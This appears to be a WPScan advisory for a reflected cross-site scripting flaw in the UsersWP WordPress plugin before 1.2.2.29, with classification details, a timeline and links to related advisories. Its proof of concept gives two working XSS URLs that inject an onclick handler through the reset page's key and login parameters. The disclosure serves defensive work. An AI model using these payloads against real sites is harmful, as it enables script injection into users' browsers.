UsersWP < 1.2.2.29 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin sanitises user input via sanitize_text_field() but do not escape it before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

On the reset page made by the plugin:

https://example.com/reset/?key=a&login=%22accesskey=X%20onclick=alert(1)%20b=%22
https://example.com/reset/?key=%22accesskey=X%20onclick=alert(1)%20b=%22&login=a

Affects Plugins

Fixed in 1.2.2.29

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

d0434659-4e25-4b2b-872f-29a9055e5dab

Timeline

Publicly Published

2021-09-06 (about 4 years ago)

Added

2021-09-06 (about 4 years ago)

Last Updated

2021-09-06 (about 4 years ago)

Other

Published

Title

Published

2021-12-17

Title

tarteaucitron.js - Cookies legislation & GDPR < 1.6.1 - Admin + Stored Cross-Site Scripting

Published

2024-01-10

Title

Constant Contact Forms by MailMunch < 2.1.0 - Contributor+ Stored XSS

Published

2026-02-17

Title

PixelYourSite < 11.2.0.2 - Unauthenticated Stored XSS

Published

2025-01-16

Title

Ultimate Events <= 1.3.3 - Reflected Cross-Site Scripting

Published

2025-11-17

Title

Photonic Gallery & Lightbox for Flickr, SmugMug & Others < 3.22 - Authenticated (Contributor+) Stored Cross-Site Scripting via Caption Attribute